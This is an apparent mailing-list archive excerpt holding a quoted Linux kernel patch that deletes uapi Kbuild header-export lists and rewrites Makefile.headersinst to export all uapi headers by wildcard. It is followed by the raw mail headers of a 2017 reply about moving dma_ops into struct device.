> diff --git a/include/uapi/linux/netfilter_bridge/Kbuild b/include/uapi/linux/netfilter_bridge/Kbuild
> deleted file mode 100644
> index 0fbad8ef96de..000000000000
> --- a/include/uapi/linux/netfilter_bridge/Kbuild
> +++ /dev/null
> @@ -1,18 +0,0 @@
> -# UAPI Header export list
> -header-y += ebt_802_3.h
> -header-y += ebt_among.h
> -header-y += ebt_arp.h
> -header-y += ebt_arpreply.h
> -header-y += ebt_ip.h
> -header-y += ebt_ip6.h
> -header-y += ebt_limit.h
> -header-y += ebt_log.h
> -header-y += ebt_mark_m.h
> -header-y += ebt_mark_t.h
> -header-y += ebt_nat.h
> -header-y += ebt_nflog.h
> -header-y += ebt_pkttype.h
> -header-y += ebt_redirect.h
> -header-y += ebt_stp.h
> -header-y += ebt_vlan.h
> -header-y += ebtables.h
> diff --git a/include/uapi/linux/netfilter_ipv4/Kbuild b/include/uapi/linux/netfilter_ipv4/Kbuild
> deleted file mode 100644
> index ecb291df390e..000000000000
> --- a/include/uapi/linux/netfilter_ipv4/Kbuild
> +++ /dev/null
> @@ -1,10 +0,0 @@
> -# UAPI Header export list
> -header-y += ip_tables.h
> -header-y += ipt_CLUSTERIP.h
> -header-y += ipt_ECN.h
> -header-y += ipt_LOG.h
> -header-y += ipt_REJECT.h
> -header-y += ipt_TTL.h
> -header-y += ipt_ah.h
> -header-y += ipt_ecn.h
> -header-y += ipt_ttl.h
> diff --git a/include/uapi/linux/netfilter_ipv6/Kbuild b/include/uapi/linux/netfilter_ipv6/Kbuild
> deleted file mode 100644
> index 75a668ca2353..000000000000
> --- a/include/uapi/linux/netfilter_ipv6/Kbuild
> +++ /dev/null
> @@ -1,13 +0,0 @@
> -# UAPI Header export list
> -header-y += ip6_tables.h
> -header-y += ip6t_HL.h
> -header-y += ip6t_LOG.h
> -header-y += ip6t_NPT.h
> -header-y += ip6t_REJECT.h
> -header-y += ip6t_ah.h
> -header-y += ip6t_frag.h
> -header-y += ip6t_hl.h
> -header-y += ip6t_ipv6header.h
> -header-y += ip6t_mh.h
> -header-y += ip6t_opts.h
> -header-y += ip6t_rt.h
> diff --git a/include/uapi/linux/nfsd/Kbuild b/include/uapi/linux/nfsd/Kbuild
> deleted file mode 100644
> index c11bc404053c..000000000000
> --- a/include/uapi/linux/nfsd/Kbuild
> +++ /dev/null
> @@ -1,6 +0,0 @@
> -# UAPI Header export list
> -header-y += cld.h
> -header-y += debug.h
> -header-y += export.h
> -header-y += nfsfh.h
> -header-y += stats.h
> diff --git a/include/uapi/linux/raid/Kbuild b/include/uapi/linux/raid/Kbuild
> deleted file mode 100644
> index e2c3d25405d7..000000000000
> --- a/include/uapi/linux/raid/Kbuild
> +++ /dev/null
> @@ -1,3 +0,0 @@
> -# UAPI Header export list
> -header-y += md_p.h
> -header-y += md_u.h
> diff --git a/include/uapi/linux/spi/Kbuild b/include/uapi/linux/spi/Kbuild
> deleted file mode 100644
> index 0cc747eff165..000000000000
> --- a/include/uapi/linux/spi/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += spidev.h
> diff --git a/include/uapi/linux/sunrpc/Kbuild b/include/uapi/linux/sunrpc/Kbuild
> deleted file mode 100644
> index 8e02e47c20fb..000000000000
> --- a/include/uapi/linux/sunrpc/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += debug.h
> diff --git a/include/uapi/linux/tc_act/Kbuild b/include/uapi/linux/tc_act/Kbuild
> deleted file mode 100644
> index e3db7403296f..000000000000
> --- a/include/uapi/linux/tc_act/Kbuild
> +++ /dev/null
> @@ -1,15 +0,0 @@
> -# UAPI Header export list
> -header-y += tc_csum.h
> -header-y += tc_defact.h
> -header-y += tc_gact.h
> -header-y += tc_ipt.h
> -header-y += tc_mirred.h
> -header-y += tc_nat.h
> -header-y += tc_pedit.h
> -header-y += tc_skbedit.h
> -header-y += tc_vlan.h
> -header-y += tc_bpf.h
> -header-y += tc_connmark.h
> -header-y += tc_ife.h
> -header-y += tc_tunnel_key.h
> -header-y += tc_skbmod.h
> diff --git a/include/uapi/linux/tc_ematch/Kbuild b/include/uapi/linux/tc_ematch/Kbuild
> deleted file mode 100644
> index 53fca3925535..000000000000
> --- a/include/uapi/linux/tc_ematch/Kbuild
> +++ /dev/null
> @@ -1,5 +0,0 @@
> -# UAPI Header export list
> -header-y += tc_em_cmp.h
> -header-y += tc_em_meta.h
> -header-y += tc_em_nbyte.h
> -header-y += tc_em_text.h
> diff --git a/include/uapi/linux/usb/Kbuild b/include/uapi/linux/usb/Kbuild
> deleted file mode 100644
> index 4cc4d6e7e523..000000000000
> --- a/include/uapi/linux/usb/Kbuild
> +++ /dev/null
> @@ -1,12 +0,0 @@
> -# UAPI Header export list
> -header-y += audio.h
> -header-y += cdc.h
> -header-y += cdc-wdm.h
> -header-y += ch11.h
> -header-y += ch9.h
> -header-y += functionfs.h
> -header-y += g_printer.h
> -header-y += gadgetfs.h
> -header-y += midi.h
> -header-y += tmc.h
> -header-y += video.h
> diff --git a/include/uapi/linux/wimax/Kbuild b/include/uapi/linux/wimax/Kbuild
> deleted file mode 100644
> index 1c97be49971f..000000000000
> --- a/include/uapi/linux/wimax/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += i2400m.h
> diff --git a/include/uapi/misc/Kbuild b/include/uapi/misc/Kbuild
> deleted file mode 100644
> index e96cae7d58c9..000000000000
> --- a/include/uapi/misc/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# misc Header export list
> -header-y += cxl.h
> diff --git a/include/uapi/mtd/Kbuild b/include/uapi/mtd/Kbuild
> deleted file mode 100644
> index 5a691e10cd0e..000000000000
> --- a/include/uapi/mtd/Kbuild
> +++ /dev/null
> @@ -1,6 +0,0 @@
> -# UAPI Header export list
> -header-y += inftl-user.h
> -header-y += mtd-abi.h
> -header-y += mtd-user.h
> -header-y += nftl-user.h
> -header-y += ubi-user.h
> diff --git a/include/uapi/rdma/Kbuild b/include/uapi/rdma/Kbuild
> deleted file mode 100644
> index 82bdf5626859..000000000000
> --- a/include/uapi/rdma/Kbuild
> +++ /dev/null
> @@ -1,18 +0,0 @@
> -# UAPI Header export list
> -header-y += ib_user_cm.h
> -header-y += ib_user_mad.h
> -header-y += ib_user_sa.h
> -header-y += ib_user_verbs.h
> -header-y += rdma_netlink.h
> -header-y += rdma_user_cm.h
> -header-y += hfi/
> -header-y += rdma_user_rxe.h
> -header-y += cxgb3-abi.h
> -header-y += cxgb4-abi.h
> -header-y += mlx4-abi.h
> -header-y += mlx5-abi.h
> -header-y += mthca-abi.h
> -header-y += nes-abi.h
> -header-y += ocrdma-abi.h
> -header-y += hns-abi.h
> -header-y += vmw_pvrdma-abi.h
> diff --git a/include/uapi/rdma/hfi/Kbuild b/include/uapi/rdma/hfi/Kbuild
> deleted file mode 100644
> index ef23c294fc71..000000000000
> --- a/include/uapi/rdma/hfi/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += hfi1_user.h
> diff --git a/include/uapi/scsi/Kbuild b/include/uapi/scsi/Kbuild
> deleted file mode 100644
> index d791e0ad509d..000000000000
> --- a/include/uapi/scsi/Kbuild
> +++ /dev/null
> @@ -1,6 +0,0 @@
> -# UAPI Header export list
> -header-y += fc/
> -header-y += scsi_bsg_fc.h
> -header-y += scsi_netlink.h
> -header-y += scsi_netlink_fc.h
> -header-y += cxlflash_ioctl.h
> diff --git a/include/uapi/scsi/fc/Kbuild b/include/uapi/scsi/fc/Kbuild
> deleted file mode 100644
> index 5ead9fac265c..000000000000
> --- a/include/uapi/scsi/fc/Kbuild
> +++ /dev/null
> @@ -1,5 +0,0 @@
> -# UAPI Header export list
> -header-y += fc_els.h
> -header-y += fc_fs.h
> -header-y += fc_gs.h
> -header-y += fc_ns.h
> diff --git a/include/uapi/sound/Kbuild b/include/uapi/sound/Kbuild
> deleted file mode 100644
> index 9578d8bdbf31..000000000000
> --- a/include/uapi/sound/Kbuild
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -# UAPI Header export list
> -header-y += asequencer.h
> -header-y += asoc.h
> -header-y += asound.h
> -header-y += asound_fm.h
> -header-y += compress_offload.h
> -header-y += compress_params.h
> -header-y += emu10k1.h
> -header-y += firewire.h
> -header-y += hdsp.h
> -header-y += hdspm.h
> -header-y += sb16_csp.h
> -header-y += sfnt_info.h
> -header-y += tlv.h
> -header-y += usb_stream.h
> -header-y += snd_sst_tokens.h
> diff --git a/include/uapi/video/Kbuild b/include/uapi/video/Kbuild
> deleted file mode 100644
> index ac7203bb32cc..000000000000
> --- a/include/uapi/video/Kbuild
> +++ /dev/null
> @@ -1,4 +0,0 @@
> -# UAPI Header export list
> -header-y += edid.h
> -header-y += sisfb.h
> -header-y += uvesafb.h
> diff --git a/include/uapi/xen/Kbuild b/include/uapi/xen/Kbuild
> deleted file mode 100644
> index 5c459628e8c7..000000000000
> --- a/include/uapi/xen/Kbuild
> +++ /dev/null
> @@ -1,5 +0,0 @@
> -# UAPI Header export list
> -header-y += evtchn.h
> -header-y += gntalloc.h
> -header-y += gntdev.h
> -header-y += privcmd.h
> diff --git a/include/video/Kbuild b/include/video/Kbuild
> deleted file mode 100644
> index e69de29bb2d1..000000000000
> diff --git a/scripts/Makefile.headersinst b/scripts/Makefile.headersinst
> index 876b42cfede4..bb93f8466a35 100644
> --- a/scripts/Makefile.headersinst
> +++ b/scripts/Makefile.headersinst
> @@ -1,17 +1,18 @@
>  # ==========================================================================
>  # Installing headers
>  #
> -# header-y  - list files to be installed. They are preprocessed
> -#             to remove __KERNEL__ section of the file
> -# genhdr-y  - Same as header-y but in a generated/ directory
> +# All headers under include/uapi, include/generated/uapi,
> +# arch/<arch>/include/uapi/asm and /include/generated/uapi/asm are exported.
> +# They are preprocessed to remove __KERNEL__ section of the file.
>  #
>  # ==========================================================================
>  
>  # generated header directory
>  gen := $(if $(gen),$(gen),$(subst include/,include/generated/,$(obj)))
>  
> +# Kbuild file is optional
>  kbuild-file := $(srctree)/$(obj)/Kbuild
> -include $(kbuild-file)
> +-include $(kbuild-file)
>  
>  # called may set destination dir (when installing to asm/)
>  _dst := $(if $(dst),$(dst),$(obj))
> @@ -25,9 +26,12 @@ include scripts/Kbuild.include
>  
>  installdir    := $(INSTALL_HDR_PATH)/$(subst uapi/,,$(_dst))
>  
> -header-y      := $(sort $(header-y))
> -subdirs       := $(patsubst %/,%,$(filter %/, $(header-y)))
> -header-y      := $(filter-out %/, $(header-y))
> +subdirs       := $(patsubst $(srctree)/$(obj)/%/.,%,$(wildcard $(srctree)/$(obj)/*/.))
> +subdirs       += $(subdir-y)
> +header-files  := $(notdir $(wildcard $(srctree)/$(obj)/*.h))
> +header-files  += $(notdir $(wildcard $(srctree)/$(obj)/*.agh))
> +genhdr-files  := $(notdir $(wildcard $(srctree)/$(gen)/*.h))
> +genhdr-files  := $(filter-out $(header-files), $(genhdr-files))
>  
>  # files used to track state of install/check
>  install-file  := $(installdir)/.install
> @@ -35,26 +39,17 @@ check-file    := $(installdir)/.check
>  
>  # generic-y list all files an architecture uses from asm-generic
>  # Use this to build a list of headers which require a wrapper
> -wrapper-files := $(filter $(header-y), $(generic-y))
> +generic-files := $(notdir $(wildcard $(srctree)/include/uapi/asm-generic/*.h))
> +wrapper-files := $(filter $(generic-files), $(generic-y))
> +wrapper-files := $(filter-out $(header-files), $(wrapper-files))
>  
>  srcdir        := $(srctree)/$(obj)
>  gendir        := $(objtree)/$(gen)
>  
>  # all headers files for this dir
> -header-y      := $(filter-out $(generic-y), $(header-y))
> -all-files     := $(header-y) $(genhdr-y) $(wrapper-files)
> +all-files     := $(header-files) $(genhdr-files) $(wrapper-files)
>  output-files  := $(addprefix $(installdir)/, $(all-files))
>  
> -# Check that all expected files exist
> -$(foreach hdr, $(header-y), \
> -  $(if $(wildcard $(srcdir)/$(hdr)),, \
> -       $(error Missing UAPI file $(srcdir)/$(hdr)) \
> -   ))
> -$(foreach hdr, $(genhdr-y), \
> -  $(if	$(wildcard $(gendir)/$(hdr)),, \
> -       $(error Missing generated UAPI file $(gendir)/$(hdr)) \
> -  ))
> -
>  # Work out what needs to be removed
>  oldheaders    := $(patsubst $(installdir)/%,%,$(wildcard $(installdir)/*.h))
>  unwanted      := $(filter-out $(all-files),$(oldheaders))
> @@ -67,8 +62,8 @@ printdir = $(patsubst $(INSTALL_HDR_PATH)/%/,%,$(dir $@))
>  quiet_cmd_install = INSTALL $(printdir) ($(words $(all-files))\
>                              file$(if $(word 2, $(all-files)),s))
>        cmd_install = \
> -        $(CONFIG_SHELL) $< $(installdir) $(srcdir) $(header-y); \
> -        $(CONFIG_SHELL) $< $(installdir) $(gendir) $(genhdr-y); \
> +        $(CONFIG_SHELL) $< $(installdir) $(srcdir) $(header-files); \
> +        $(CONFIG_SHELL) $< $(installdir) $(gendir) $(genhdr-files); \
>          for F in $(wrapper-files); do                                   \
>                  echo "\#include <asm-generic/$$F>" > $(installdir)/$$F;    \
>          done;                                                           \


From - Thu Nov 08 21:39:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bart Van Assche <Bart.VanAssche-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/9] Move dma_ops from archdata into struct device
Date: Wed, 11 Jan 2017 18:17:03 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <1484158589.2619.14.camel@sandisk.com>
References: <20170111005648.14988-1-bart.vanassche@sandisk.com>
	<20170111005648.14988-3-bart.vanassche@sandisk.com>
	<20170111064803.GB26893@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1484158656 19804 195.159.176.226 (11 Jan 2017 18:17:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Jan 2017 18:17:36 +0000 (UTC)
Cc: "linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org" <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	"dalias-8zAoT0mYgF4@public.gmane.org" <dalias-8zAoT0mYgF4@public.gmane.org>,
	"linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"a-jacquiot-l0cyMroinI0@public.gmane.org" <a-jacquiot-l0cyMroinI0@public.gmane.org>,
	"catalin.marinas-5wv7dgnIgG8@public.gmane.org" <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
	"will.deacon-5wv7dgnIgG8@public.gmane.org" <will.deacon-5wv7dgnIgG8@public.gmane.org>,
	"x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org" <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, "mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org" <mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org>,
	"dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	"jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, "hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
	"sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org" <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
	"egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org" <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	"jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org" <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>,
	"linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"jesper.nilsson-VrBV9hrLPhE@public.gmane.org" <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>,
	"linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <l
To: "gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org" <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 11 19:17:27 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1cRNSW-0003YL-Ll
	for glki-iommu@m.gmane.org; Wed, 11 Jan 2017 19:17:17 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 3697EA5E;
	Wed, 11 Jan 2017 18:17:20 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 365C7941
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 11 Jan 2017 18:17:19 +0000 (UTC)
X-Greylist: whitelisted by SQLgrey-1.7.6
Original-Received: from NAM02-BL2-obe.outbound.protection.outlook.com
	(mail-bl2nam02on0060.outbound.protection.outlook.com [104.47.38.60])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 18BDB1E8
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 11 Jan 2017 18:17:18 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=sandiskcorp.onmicrosoft.com; s=selector1-sandisk-com;
	h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
	bh=NY+kQeXZdTCL+o+TxsBWYVyK8kK/EXRi4NmCLqVhEII=;
	b=pskBxsC6n4NDYtLFPd4ZJQoaAWUBjsQH1b9ZXj93CPiiOLleK1efiydJ2M2DPFOstsgOqKwulHMzc/Te3+oik9QIulgUDQe+jc/SMcn+eydqAaW+AVQ7Mh6E6/SUUmRqZSmI3Q4JhVqejmY5ekjYMGhr7kNPi8BEX8m3asu62WU=
Original-Received: from BY2PR02CA0061.namprd02.prod.outlook.com (10.141.216.51) by
	BY2PR02MB043.namprd02.prod.outlook.com (10.242.44.23) with Microsoft
	SMTP Server (version=TLS1_2,
	cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
	15.1.829.7; Wed, 11 Jan 2017 18:17:07 +0000
Original-Received: from BY2FFO11FD026.protection.gbl (2a01:111:f400:7c0c::105) by
	BY2PR02CA0061.outlook.office365.com (2a01:111:e400:2c40::51) with
	Microsoft SMTP Server (version=TLS1_2,
	cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id 15.1.829.7 via
	Frontend Transport; Wed, 11 Jan 2017 18:17:07 +0000
Authentication-Results: spf=pass (sender IP is 74.221.232.54)
	smtp.mailfrom=sandisk.com; davemloft.net; dkim=none (message not signed)
	header.d=none;davemloft.net; dmarc=bestguesspass action=none
	header.from=sandisk.com;
Received-SPF: Pass (protection.outlook.com: domain of sandisk.com designates
	74.221.232.54 as permitted sender) receiver=protection.outlook.com;
	client-ip=74.221.232.54; helo=sacsmgep14.sandisk.com;
Original-Received: from sacsmgep14.sandisk.com (74.221.232.54) by
	BY2FFO11FD026.mail.protection.outlook.com (10.1.15.215) with Microsoft
	SMTP Server (version=TLS1_2,
	cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
	15.1.803.8 via Frontend Transport; Wed, 11 Jan 2017 18:17:06 +0000
X-AuditID: ac1c2133-4386e98000013ebf-9f-5876f1701018
Original-Received: from SACHUBIP01.sdcorp.global.sandisk.com (Unknown_Domain
	[172.28.1.254])
	(using TLS with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by  (Symantec Messaging Gateway) with SMTP id 1F.C8.16063.071F6785;
	Wed, 11 Jan 2017 19:01:04 -0800 (PST)
Original-Received: from ULS-OP-MBXIP03.sdcorp.global.sandisk.com
	([fe80::f9ec:1e1b:1439:62d8]) by SACHUBIP01.sdcorp.global.sandisk.com
	([10.181.10.103]) with mapi id 14.03.0319.002; Wed, 11 Jan 2017 10:17:04
	-0800
Thread-Topic: [PATCH 2/9] Move dma_ops from archdata into struct device
Thread-Index: AQHSbDbnjGA03SV1IkSgfzaqUBMRJQ==
In-Reply-To: <20170111064803.GB26893-U8xfFu+wG4EAvxtiuMwx3w@public.gmane.org>
Accept-Language: nl-NL, en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [172.28.1.254]
Content-ID: <BC3FC4DDD21E1E498D9A2E0C11F30769-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
X-Brightmail-Tracker: H4sIAAAAAAAAA02TbUxTdxTG979vvXRWr9XJP7plrnF+wAync+Y4GWHLMu5iTPwwDNON2cgd
	El5sWtfMfVjaFRUom52jDG4JttpQCqXUiyy8NUJlAbcADhLmFAaTqutY2iKZ4nBl1Lqk3355
	zvOc53w5LKmMMhvZwtITgrZUXaxi5JTneRR7RTOvz31VjG6Fiq4lGQz6DAxEGqsQmC+4GHA8
	+oeG+tEyCqbv30IQ/nKJgtBolAaz97YMTte8BXdv+glwhjLBdLGNgZpLqbD4t4kC+5W98OB3
	BwLP2GkGpr3NNNwLiCQ8rosSUGHzyeCOZZKB8NQAAvHKFAXS7AQNAzYLAU0tXhIiZZ0MRMvD
	NIx31zPgCraSK1VnKLBYz8ng9o/XCRhuGGTgbuCrFc1hIqH+cTUJpyZbCXAPt8ogYPUjWHoY
	o2Gsz07A8nftCNr6b1FQKd5hQKoYZ8BvnUFguNZEQ+/ShzAsuQlol6wk/HX9Nwo6foqQEJof
	omDRN0vD9Dk/kbWXD/Y3EPwpv4XhPQ0exI9P/Ezyv3gP8JfdvxJ8lzgl46PzeXx7Uxp/sTdE
	8FJzBcPb24I0P2KLUnx4ZETGd0pzBB+4Wo4ObD0kz8gXigv1gnZ75hH5sWVnO63pXvNZnasa
	GVBgVSVKYTG3C9f+2yGrRHJWyTkJbJtoIeMDJTeG8IMfMuPMcDuxzdJLxXk99yb+ptFMxgMk
	9yfGk+dniUrEsuu4d3FVmz7hycbekTNP/el4wWRn4kxxL+Nm3x90nBUrO12tj1CiuB5hu3Pm
	iSmF244XO0xUfCfiXsBlc8/GZZJLxTeD54nE0Rx29o6SCX4Oh2ZjdII344WmGJPw 
X-EOPAttributedMessage: 0
X-MS-Office365-Filtering-HT: Tenant
X-Forefront-Antispam-Report: CIP:74.221.232.54; IPV:NLI; CTRY:US; EFV:NLI;
	SFV:NSPM;
	SFS:(10009020)(6009001)(7916002)(39410400002)(39450400003)(39840400002)(39860400002)(39850400002)(2980300002)(438002)(199003)(377424004)(189002)(24454002)(38730400001)(39060400001)(229853002)(102836003)(6116002)(6916009)(3846002)(2950100002)(5640700003)(50466002)(8666007)(54906002)(2501003)(103116003)(8936002)(81156014)(8676002)(8746002)(36756003)(2900100001)(81166006)(23756003)(33646002)(69596002)(1730700003)(5660300001)(626004)(305945005)(86362001)(68736007)(110136003)(2906002)(106116001)(7736002)(189998001)(2270400002)(106466001)(356003)(92566002)(7406005)(7416002)(7366002)(54356999)(4326007)(97736004)(50986999)(2351001)(76176999)(47776003)(7099028);
	DIR:OUT; SFP:1101; SCL:1; SRVR:BY2PR02MB043;
	H:sacsmgep14.sandisk.com; FPR:; SPF:Pass;
	PTR:InfoDomainNonexistent; A:1; MX:1; LANG:en; 
X-Microsoft-Exchange-Diagnostics: 1; BY2FFO11FD026;
	1:sImSHww0Mqufj+0T9IF/cX8a053HfGs6lIVaW8nXpDHkzcvLgiZsfOrYQndVGsMxjS5R4TKr9PifQ1HVua+TpRsByJuXFY2SaknwrsEoA166+O+gciQg3Vd57OxUEH4FrajYEEjIEyBfTmw+UwbY61BLAfLkwH/NWSSRZkzHJrcn4FvQH0dikCIcRRZaKVSlKr7MqK3fAELplBX1n7whq7QdhLjdPu9Gk1kQmqonl4cmhsRSoxbvzJ62iwSAcekzWyFWZfQ75tQI6fLvawh14Ai8kn9c8TdOdhLqYgzEbxN8EkWMtdPiQJwSn+bX1kkHrUP+mDVoTEotvG53ZpLDGKdYdiPWwfHWO+NfJZ8UYM/zUhhvp2/dQ2rk9iA5OqWULlqYS5KDZ/npbCoKHMGinHCHkSodBIpaP/MRQ8sdeAu96k3b9cSANhmgb0rCl7XQBNiOBuTcjho1PfFPH/B6QDZ0vTBoUBLyB/lG6DuLiLYTCmXLRcvY1CqAPa3+w3l0NlbTFC5QF1jhfLMnQMEnrub5U6YFAFs/eO8BXUbfpQ9yzwSFglHcVeaydnlAReFG+/Zlg9TOP7sLj6xzUaFA7PrQaKWvi1uHx0xHmRltLL8=
X-MS-Office365-Filtering-Correlation-Id: 1f1daeda-44fb-4271-3caf-08d43a4e0d23
X-Microsoft-Antispam: UriScan:; BCL:0; PCL:0; RULEID:(22001)(8251501002);
	SRVR:BY2PR02MB043; 
X-Microsoft-Exchange-Diagnostics: 1; BY2PR02MB043;
	3:dvfwTIbZFVb+rIloaGSxD7AIVuOIe7p36mlonZl4F32cDvK873NswVEX/nKP1Z7x3fbBk/Ja8+uj3Pg/c2BdNvr3wyvxtP72f1lB7Lg/O3t8u3Oh/ccSz9JYOqafzL8Jy99zABofmggoqgxUaWY5aFY3rcI07XuOm5nbdg0R9DkTf177q6SkrG02sB9kZ9d9LEA9eANiy+aF9ka6Li2g2W1PMqwPJBG+ig4YXHic4NzkAIsZS4ZlasMJbWWa1Zsx9J0UnpjMVHkR3F6AQ/UGHbPk2+fo1VtWR5fIsM8aI0E2QlSaPkkizQOHR7nBx7hj4vpPEJtBYxNv1zamG7ugBeLNe4FjQTkejNHxqUC2SMep1L3NqcuBamD3/Yjw7WZLf94sGUhEMQHWQKyBcvjIbA==
X-Microsoft-Exchange-Diagnostics: 1; BY2PR02MB043;
	25:IWjI161/EYcY9MBaHuy+hDuZX5FMG0X7BLaF7K6wI9l7xrQ1xGuoYxo4nRABTTRVUJ+RcwgQYNJLzeRSfEkwVKc1VTrj7bnkIYj54v2h5uddcznphf+u0jqny6OoQii9h4bYIxmspFYfhs4nXNBi9jixmFHm4oShciDANI+rLDiygoP/OGbKZoE2Gz085XZki4+2NnvYgLNpiFuqmcI7agJjdKBHzi46E/vhHR4ZxbWwYSevp3PU7KgeL6h7IixzTB4BDlMAjNnbbS7yjb3odzpFloPSm0v7kcpUaKAFS9z8nhKjtpSS6Yg/RohxDFEehxXKCg0ZKS4XJfNEjt/OIXhIZ4iVELYWKbcs788TFA4upZOAhvdCdGvAfx5iVrlSXEaOXvOtnoVZqeU3mZxUFy2kro3bjOknbf4F2ai12b+0dsGpOz3Q5EGRXWdQkxnLqZB5b0KoGY3eu4fNqm/Raxk5o8Ud0sIU9VqCffnc466mk6aK9GKInzvmHzK5UBQHmRYhUTH3SFfV1XCSQLpcna+95nA3UJnJ8Av3X2u6Bk7mZ8P928iTh9Gxc61KlGvF3gP9ww+3hMtcNRFkglTlt45ZT2T42Cq6tBeWACKXpx3B9L0lAQLub7vZeVzU3UhNMskBX4+98UAOWYDXziD/izI6fdw6u12FGoJ6PTJK5wgyKMBuj8+jaPcohCL2ILArM/dEDPKcXJ4yxr2yTOLKDwGShsM+BDjkSeniFlFD0S4uYUrOLcGjAnGJ4wmVNSGtjqCHLSPqPp2egPZUdL+g6gB3LdN7
 yTglzKnO6dBXVWRQ0Jo074PCh7GJh0v1uLr8FpMAFWNF9tO 
X-Microsoft-Exchange-Diagnostics: 1; BY2PR02MB043;
